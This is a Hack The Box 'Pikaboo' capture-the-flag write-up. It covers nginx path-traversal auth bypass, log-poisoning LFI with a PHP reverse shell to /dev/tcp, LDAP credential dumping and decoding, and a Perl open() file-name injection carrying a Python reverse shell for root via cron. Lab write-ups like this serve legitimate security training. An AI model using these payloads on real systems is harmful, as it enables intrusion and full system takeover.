Home Pikaboo HTB
Post
Cancel

Pikaboo HTB

[Pasted image 20210719214112.png]

A very tough box with a good knowlege of webservers and perl scripting and a bit of code workthrough.

  • Nmap
  • Recon
  • Nginx/Apache Misconfiguration
  • FootHold
  • User escalation
  • Root Privilege Escalation

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/ctf/htb/Pikaboo/10.129.142.104/nmap# cat Basic_10.129.142.104.nmap
# Nmap 7.80 scan initiated Sun Jul 18 00:53:07 2021 as: nmap -Pn -sCV -p21,22,80 -oN nmap/Basic_10.129.142.104.nmap 10.129.142.104
Nmap scan report for 10.129.142.104
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
|   256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_  256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 18 00:53:29 2021 -- 1 IP address (1 host up) scanned in 21.83 seconds

We have three ports open 21,22 and 80.

Port 21 I tried to login with anonymous account but the login was failed and looked up for vulnerbilities of vsftpd 3.0.3 but nothing was useful in this case.

Port 22 SSH

Port 80 WebServer

[Pasted image 20210718083954.png]

[Pasted image 20210718084220.png]

[Pasted image 20210718084253.png]

Scrolling through pages we dont have much information and it doesn’t have any endpoints to search for a vulnerability.

Let’s start enumeration of the webserver and see if we find anything useful.

Enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
root@kali:~/ctf/htb/Pikaboo# gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -u http://10.129.142.104/ -x php,html,bak -o gobuster.txt                                                                                 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.129.142.104/ 
[+] Threads:        10
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,bak
[+] Timeout:        10s
===============================================================
/.html (Status: 403)
/.html.php (Status: 403)
/.html.html (Status: 403)
/.html.bak (Status: 403)
/.php (Status: 403)
/admin (Status: 401)
/admin.bak (Status: 401)
/admin.php (Status: 403)
/admin.html (Status: 403)
/admin_panel (Status: 401)
/admin_panel.php (Status: 401)
/admin_panel.html (Status: 401)
/admin_panel.bak (Status: 401)
/admin_test (Status: 401)
/admin_test.php (Status: 401)
/admin_test.html (Status: 401)
/admin_test.bak (Status: 401)
/admindav (Status: 401)
/admindav.php (Status: 401)
/admindav.html (Status: 401)
/admindav.bak (Status: 401)
/adminx (Status: 401)
/adminx.php (Status: 401)
/adminx.html (Status: 401)
/adminx.bak (Status: 401)
/.htm.htm (Status: 403)
/.htm.htm.php (Status: 403)
/.htm.htm.html (Status: 403)
/.htm.htm.bak (Status: 403)
/adminclient (Status: 401)
/adminclient.html (Status: 401)
/adminclient.bak (Status: 401)
/adminclient.php (Status: 401)
/admin4 (Status: 401)
/admin4.php (Status: 401)
/admin4.html (Status: 401)
/admin4.bak (Status: 401)
/admin_config (Status: 401)
/admin_config.php (Status: 401)
/admin_config.html (Status: 401)
/admin_config.bak (Status: 401)
/admin_files (Status: 401)
/admin_files.html (Status: 401)
/admin_files.bak (Status: 401)
/admin_files.php (Status: 401)
/admin_template (Status: 401)
/admin_template.bak (Status: 401)
/admin_template.php (Status: 401)
/admin_template.html (Status: 401)
/administrace (Status: 401)
/administrace.php (Status: 401)
/administrace.html (Status: 401)
/administrace.bak (Status: 401)
/adminn (Status: 401)
/adminn.php (Status: 401)
/adminn.html (Status: 401)
/adminn.bak (Status: 401)
/admin_forums (Status: 401)
/admin_forums.php (Status: 401)
/admin_forums.html (Status: 401)
/admin_forums.bak (Status: 401)
/adminweb (Status: 401)
/adminweb.html (Status: 401)
/adminweb.bak (Status: 401)
/adminweb.php (Status: 401)
/adminonline (Status: 401)
/adminonline.php (Status: 401)
/adminonline.html (Status: 401)
/adminonline.bak (Status: 401)
/adminscripts (Status: 401)
/adminscripts.php (Status: 401)
/adminscripts.html (Status: 401)
/adminscripts.bak (Status: 401)
/adminws (Status: 401)
/adminws.php (Status: 401)
/adminws.html (Status: 401)
/adminws.bak (Status: 401)
/admin_logon (Status: 401)
/admin_logon.php (Status: 401)
/adminc (Status: 401)
/admin_logon.html (Status: 401)
/adminc.php (Status: 401)
/adminc.html (Status: 401)
/adminc.bak (Status: 401)
/admin_logon.bak (Status: 401)
/administrare (Status: 401)
/administrare.php (Status: 401)
/administrare.html (Status: 401)
/administrare.bak (Status: 401)
/administratie (Status: 401)
/administratie.php (Status: 401)
/administratie.html (Status: 401)
/administratie.bak (Status: 401)
/adminonly (Status: 401)
/adminonly.bak (Status: 401)
/adminonly.php (Status: 401)
/adminonly.html (Status: 401)
/adminuser (Status: 401)
/adminuser.php (Status: 401)
/adminuser.html (Status: 401)
/adminuser.bak (Status: 401)

We have so many admin pages or it’s some kinda regex on the /admin(regex) which means anything after /admin is redirected to an htpasswd authentication.

[Pasted image 20210719190200.png]

[Pasted image 20210719190024.png]

[Pasted image 20210719190336.png] An observation to be made, nginx acts as a proxy for serving webpages from apache server which is internally running on port 81.

After looking at the website, we have some scrolling messages and images on the webpage. May be we can grab some usernames from the images from the meta data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 strings: ['Gotta hunt them all!', 'Look up a Pikashoo here!', 'Hide or seek?', 'Spot the BlindBoi!'],
 
 root@kali:~/ctf/htb/Pikaboo/images# exiftool 1.jpeg 
ExifTool Version Number         : 12.04
File Name                       : 1.jpeg
Directory                       : .
File Size                       : 53 kB
File Modification Date/Time     : 2021:07:07 15:03:07+05:30
File Access Date/Time           : 2021:07:18 01:18:23+05:30
File Inode Change Date/Time     : 2021:07:18 01:18:00+05:30
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 626
Image Height                    : 375
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 626x375
Megapixels                      : 0.235
 

But nothing was found in the images. Also i have done some stegonography to see if we can have information on how to proceed with the box. After spending couple of hours playing with images it was a deadend with images.

So at this point, I had only some information on how the webserver works. But I already know how nginx works with some special characters and as nginx has htpasswd on admin directory there may be some more directories too. It will be worth to dig into more.

.;./..;/ nginx ignores this combination and passes it tomcat and tomcat ignores ; and translates to ../../ which can be deadly in some cases but in this case we have apache in the backend so this technique doesn’t work. So there has to be some way.

[Pasted image 20210719191723.png]

1
http://10.129.142.104/admin../a

After researching for a while, I had some observation in the url by placing ../ after admin din’t throw me an authentication panel so we successful bypassed the nginx server and we can look for a directory above admin panel.

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/ctf/htb/Pikaboo# gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u http://10.129.142.104/admin../ -o gobuster_dir.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.129.142.104/admin../ 
[+] Threads:        10
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
/admin_staging/ (Status: 302)

We got a directory some kinda staging directory. Let’s explore

[Pasted image 20210719193307.png]

[Pasted image 20210719193322.png]

1
http://10.129.142.104/admin../admin_staging/index.php?page=user.php

We have an include page in the main page of the website. Can we include any page ? First thing to try out is pull user.php from current directory as it already exists

1
http://10.129.142.104/admin../admin_staging/index.php?page=./user.php

[Pasted image 20210719193525.png]

We have same response from the website. So this confirms we can include any file with proper permissions on our page and it executes the php page while displaying.

We had vsftp running on the box on port 21, and generally the logs are stored in /var/log/ directory unless specially mentioned in the configuration file.

[Pasted image 20210719194750.png]

[Pasted image 20210719201220.png]

1
2
3
4
5
6
7
8
9
10
11
12
13
index.php?=page/var/log/vsftpd.log
Thu Jul  8 17:17:47 2021 [pid 14106] FTP response: Client "::ffff:10.10.14.6", "220 (vsFTPd 3.0.3)"
Thu Jul  8 17:17:49 2021 [pid 14106] FTP command: Client "::ffff:10.10.14.6", "USER anonymous"
Thu Jul  8 17:17:49 2021 [pid 14106] [anonymous] FTP response: Client "::ffff:10.10.14.6", "331 Please specify the password."
Thu Jul  8 17:17:49 2021 [pid 14106] [anonymous] FTP command: Client "::ffff:10.10.14.6", "PASS <password>"
Thu Jul  8 17:17:49 2021 [pid 14105] [anonymous] FAIL LOGIN: Client "::ffff:10.10.14.6"
Thu Jul  8 17:17:50 2021 [pid 14106] [anonymous] FTP response: Client "::ffff:10.10.14.6", "530 Login incorrect."
Thu Jul  8 17:17:50 2021 [pid 14106] FTP command: Client "::ffff:10.10.14.6", "SYST"
Thu Jul  8 17:17:50 2021 [pid 14106] FTP response: Client "::ffff:10.10.14.6", "530 Please login with USER and PASS."
Thu Jul  8 17:18:25 2021 [pid 14106] FTP command: Client "::ffff:10.10.14.6", "QUIT"
.....
stripped content
.....

So we can include /var/log/vsftpd.log in our page.

1
Thu Jul  8 17:30:42 2021 [pid 21009] FTP command: Client "::ffff:10.10.14.6", "USER pwnmeow"

After looking at some of the records, vsftpd logs with which username the user tried to login. It’s interesting so we have send any user and it gets loaded on the php page.

FootHold

The interesting part begins, let’s send a php reverse shell command as input and reload the page to execute and see if we get any reverse shell

Payload:

1
<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.132/4444 0>&1'"); ?>

10.10.14.132 is my IP and I am listening on Port 4444

1
2
root@kali:~/ctf/htb/Pikaboo# nc -lvp 4444
listening on [any] 4444 ...

Let’s send the above mentioned payload as username in ftp

1
2
3
4
5
6
7
8
9
root@kali:~/ctf/htb/Pikaboo# ftp pikaboo
Connected to pikaboo.
220 (vsFTPd 3.0.3)
Name (pikaboo:root): <?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.132/4444 0>&1'"); ?> 
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> 

And reload the page

[Pasted image 20210719195738.png]

And we are on the machine. Reverse shell worked!!!

Let’s execute and increase the control over the reverse shell as bare reverse shell does have many features.

Loading bash

1
python -c 'import pty;pty.spawn("/bin/bash")'

This gives us a partially interactive bash shell. To get a fully interactive shell, background the session (CTRL+ Z) and run the following in your terminal which tells your terminal to pass keyboard shortcuts to the shell.

1
stty raw -echo

Once that is done, run the command “fg” to bring netcat back to the foreground. Then use the following command to give the shell the ability to clear the screen.

Set Terminal environment

1
export TERM=xterm

Let’s read /etc/passwd to see which users exists on the box.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
www-data@pikaboo:/var/www/html/admin_staging$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
pwnmeow:x:1000:1000:,,,:/home/pwnmeow:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
openldap:x:105:112:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
nslcd:x:107:113:nslcd name service LDAP connection daemon,,,:/var/run/nslcd/:/usr/sbin/nologin
ftp:x:108:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
redis:x:109:116::/var/lib/redis:/usr/sbin/nologin
postgres:x:110:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

We have one user : pwnmeow

1
pwnmeow:x:1000:1000:,,,:/home/pwnmeow:/bin/bash

[Pasted image 20210719200637.png]

We got the user flag. Now its time to escalate and gain full control over machine.

Let’s have a look how the webserver is configured both nginx and apache.

  • Nginx conf file
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
    server {                                                                                                                                                             
          listen 80 default_server;                                                                                                        
          listen [::]:80 default_server;                                             
          server_name _;
    
          location / {
                  # First attempt to serve request as file, then
                  # as directory, then fall back to displaying a 404.
                  proxy_pass http://127.0.0.1:81/pokatdex/;
          }
    
          location /admin {
                  proxy_pass http://127.0.0.1:81/admin/;
          }
    
          location /artwork/ {
    
          location /artwork/ {
                  root /opt/pokeapi/data/v2/sprites/;
          }
    }
    
  • Apache conf file ```bash www-data@pikaboo:/etc/nginx/sites-enabled$ cat /etc/apache2/sites-enabled/000-default.conf

<VirtualHost 127.0.0.1:81> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request’s Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
    <Directory "/var/www/html/admin"> 
            AuthType Basic
            AuthName "Authentication Required"
            AuthUserFile "/etc/apache2/htpasswd"
            Require valid-user
            Order allow,deny
            Allow from all
    </Directory>

</VirtualHost>

vim: syntax=apache ts=4 sw=4 sts=4 sr noet

www-data@pikaboo:/etc/nginx/sites-enabled$

1
2
3
4
5
6
We have htpasswd which was configured for admin page. Let's grab it and see the contents of it. 

```bash
www-data@pikaboo:/etc/nginx/sites-enabled$ cat /etc/apache2/htpasswd
admin:$apr1$0.2FVvEK$Xn42uf/ySS5IPTKXfebXM.

I tired cracking with hashcat but could crack it. May be it was a random password.

1
> hashcat -a 0 -m 1600 hash.txt /opt/rockyou.txt --force

I ran some auto configuration checks on the machine using our linux enumeration script.

Run a simple python server on our machine and download the files on the remote machine as we dont have ssh or ftp credentials to transfer files.

[Pasted image 20210719201057.png]

[Pasted image 20210719201252.png]

Let’s run the linpeas.sh module and check if we have any useful information

[Pasted image 20210719201524.png]

We have an active port other than 21,22,80, 81 -> 389 (LDAP)

Tried logging in with empty creds, ldap is bind is disabled with anonymous account which is a good way to implement.

1
2
3
4
www-data@pikaboo:/opt/pokeapi$ ldapsearch -x -h 127.0.0.1 -D '' w '' -b "dc=pikaboo,dc=htb"
ldap_bind: Inappropriate authentication (48)
        additional info: anonymous bind disallowed
www-data@pikaboo:/opt/pokeapi$ 

After searching through the box found an interesting directory about api development and it has a config directory

[Pasted image 20210719205419.png]

[Pasted image 20210719205841.png]

in config directory we have some ldap credentials

1
2
3
4
5
6
7
8
9
10
11
> cat /opt/pokeapi/config/settings.py
...

    "ldap": {
        "ENGINE": "ldapdb.backends.ldap", 
        "NAME": "ldap:///",
        "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
        "PASSWORD": "J~42%W?PFHl]g",
    }

...

Let’s dump all the information from ldap using the binduser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
www-data@pikaboo:/opt/pokeapi/config$ ldapsearch -x -h 127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b "dc=pikaboo,dc=htb"                
# extended LDIF                          
#              
# LDAPv3                                 
# base <dc=pikaboo,dc=htb> with scope subtree                                      
# filter: (objectclass=*)                                                          
# requesting: ALL
#

# pikaboo.htb
dn: dc=pikaboo,dc=htb
objectClass: domain
dc: pikaboo

# ftp.pikaboo.htb
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp

# users, pikaboo.htb
dn: ou=users,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users

# pokeapi.pikaboo.htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
objectClass: domain
dc: pokeapi

# users, ftp.pikaboo.htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users

# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==

# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==

# users, pokeapi.pikaboo.htb
dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users

# groups, pokeapi.pikaboo.htb
dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups

We have user creds for pwnmeow user.

userPassword : X0cwdFQ0X0M0dGNIXyczbV80bEwhXw== looks like a base64 encode.

1
2
www-data@pikaboo:/opt/pokeapi/config$ echo "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==" | base64 -d 
_G0tT4_C4tcH_'3m_4lL!_

Now we have user and a password

user: pwnmeow pass: _G0tT4_C4tcH_'3m_4lL!_

Tried to login with ssh using the credentials but the authentication failed.

Privilege Escalation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@pikaboo:/opt/pokeapi/config$ cat /etc/nsswitch.conf 
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd:         files systemd #ldap
group:          files systemd #ldap
shadow:         files #ldap
gshadow:        files

hosts:          files dns
networks:       files

protocols:      db files
services:       db files
ethers:         db files
rpc:            db files

netgroup:       nis

ldap authentication is disabled for login in nsswitch.conf

[Pasted image 20210719210654.png]

Pwnmeow user has group of ftp, so he has access to ftp login. Let’s try and check.

[Pasted image 20210719210819.png]

Yes, we could login as pwnmeow user but gaining a shell as a user was not possible.

Then our automated script also showed us there is a cronjob configured.

1
2
3
4
5
6
7
8
9
10
www-data@pikaboo:/opt/pokeapi/config$ cat /etc/crontab ;
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root /usr/local/bin/csvupdate_cron

Let’s see what the script does

1
2
3
4
5
6
7
8
9
10
11
www-data@pikaboo:/opt/pokeapi/config$ cat /usr/local/bin/csvupdate_cron
#!/bin/bash

for d in /srv/ftp/*
do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done
www-data@pikaboo:/opt/pokeapi/config$ 

This line caught my attention $d can be used as a potential vector

1
  /usr/local/bin/csvupdate $(basename $d) *csv

As linux execute $() command before running the line

1
2
3
4
root@kali:~# d=whoami
root@kali:~# $(basename $d)
root
root@kali:~# 

Tried to exploit with this, but it did not work in this case.

Nothing much in it but we have another script being called in the program

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
www-data@pikaboo:/opt/pokeapi/config$ cat /usr/local/bin/csvupdate                                                                                                   
#!/usr/bin/perl                                                                      
##################################################################                                                                                                    
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #                 
#                                                                #                 
# Usage:                                                         #                 
# ./csvupdate <type> <file(s)>                                   #                 
#                                                                #                 
# Arguments:                                                     #                 
# - type: PokeAPI CSV file type                                  #                 
#         (must have the correct number of fields)               #                 
# - file(s): list of files containing CSV data                   #                 
##################################################################                 
                                                                                   
use strict;                                                                        
use warnings;                                                                      
use Text::CSV;                                                                     
                                         
my $csv_dir = "/opt/pokeapi/data/v2/csv";                                          
                                                                                   
my %csv_fields = (                                                                 
  'abilities' => 4,                                                                                ''""
----TRIMMED CODE ----

  """''     
  'version_group_pokemon_move_methods' => 2,                                                                                                                          
  'version_group_regions' => 2,                                                                                                                                       
  'version_groups' => 4,                                                                                                                                              
  'version_names' => 3,                                                            
  'versions' => 3                                                                  
);                                                                                 
                                                                                   
                                                                                   
if($#ARGV < 1)                                                                                                                                                        
{                                                                                  
  die "Usage: $0 <type> <file(s)>\n";                                              
}                                                                                  
                                                                                   
my $type = $ARGV[0];                                                               
if(!exists $csv_fields{$type})                                                     
{                                                                                  
  die "Unrecognised CSV data type: $type.\n";                                      
}                                                                                  
                                                                                   
my $csv = Text::CSV->new({ sep_char => ',' });                                     
                                                                                   
my $fname = "${csv_dir}/${type}.csv";                                              
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";             
                                         
shift;                                                                             
for(<>)                                                                            
{                                                                                  
  chomp;                                                                                                                                                              
  if($csv->parse($_))                                                              
  {                                      
    my @fields = $csv->fields();                                                   
    if(@fields != $csv_fields{$type})
    {                                                                              
      warn "Incorrect number of fields: '$_'\n";                                   
      next;                                                                        
    }                                                                              
    print $fh "$_\n";                                                              
  }                                                                                
}                                                                                  
                                                                                   
close($fh);     

It;s a perl script which checks for csv fields and does some checks. But we have a function being called open which can be exploited if more arguments are passed.

[Pasted image 20210719212536.png] Reference: https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890543

So yes it possible to send a shell command and create a file inside the some directory with pwnmeow user through ftp which can be picked up by the cronjob and execute the command

Payload : I am using a python reverse shell code, we can use any reverse shell code.

1
touch "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.132\",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';echo .csv"

Let’s create this file locally and then upload it through ftp.

[Pasted image 20210719213254.png]

[Pasted image 20210719213424.png]

let’s start a listener and wait for the connection as the cronjob runs every minute

1
2
3
4
5
6
7
root@kali:~/ctf/htb/Pikaboo# nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.14.132] from pikaboo [10.129.142.104] 53150
# whoami
whoami
root
# 

Now we are ROOOOOTT!!!!

[Pasted image 20210719213543.png]

And we the flag.

A very good (HARD) box, but lot of concepts to learn.

Learning is never ending process

This post is licensed under CC BY 4.0 by the author.